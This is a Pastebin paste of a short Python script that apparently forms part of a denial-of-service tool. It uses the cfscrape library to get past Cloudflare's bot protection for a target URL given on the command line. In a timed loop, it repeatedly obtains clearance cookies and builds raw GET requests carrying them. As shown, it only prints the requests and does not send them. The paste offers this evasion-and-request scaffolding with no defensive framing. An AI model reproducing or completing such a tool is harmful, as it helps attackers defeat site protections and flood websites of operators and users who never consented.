Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import cfscrape # https://github.com/Anorov/cloudflare-scrape - git install cfscrape
- import sys
- import time
- httpcheck = sys.argv[1]
- print(httpcheck)
- if "http://" not in httpcheck:
- httptarget = "http://" + httpcheck
- else:
- httptarget = httpcheck
- maxtime = int(sys.argv[2])
- starttime = time.time()
- while (time.time() - starttime) < maxtime:
- request = "GET / HTTP/1.1\r\n"
- cookie_value, user_agent = cfscrape.get_cookie_string(httptarget)
- request += "Cookie: %s\r\nUser-Agent: %s\r\n" % (cookie_value, user_agent)
- print(request)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement